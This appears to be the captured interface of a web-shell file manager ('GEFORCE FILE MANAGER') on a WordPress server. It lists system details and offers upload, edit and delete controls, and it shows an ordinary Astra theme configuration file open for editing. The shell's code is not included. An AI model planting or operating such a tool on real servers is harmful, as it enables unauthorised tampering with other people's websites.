[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
themes
/
astra
/
inc
/
customizer
/
configurations
/
global-misc
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 class-astra-global-misc-configs.php
1,273 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: class-astra-global-misc-configs.php
<?php /** * Global Misc Options for Astra Theme. * * @package Astra * @link https://wpastra.com/ * @since Astra 4.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Register Astra Global Misc Configurations. */ class Astra_Global_Misc_Configs extends Astra_Customizer_Config_Base { /** * Register Astra Global Misc Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 4.0.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_configs = array( /** * Option: Scroll to id. */ array( 'name' => ASTRA_THEME_SETTINGS . '[enable-scroll-to-id]', 'default' => astra_get_option( 'enable-scroll-to-id' ), 'type' => 'control', 'control' => 'ast-toggle-control', 'title' => __( 'Enable Smooth Scroll to ID', 'astra' ), 'section' => 'section-global-misc', 'divider' => array( 'ast_class' => 'ast-section-spacing' ), 'priority' => 10, ), ); return array_merge( $configurations, $_configs ); } } new Astra_Global_Misc_Configs();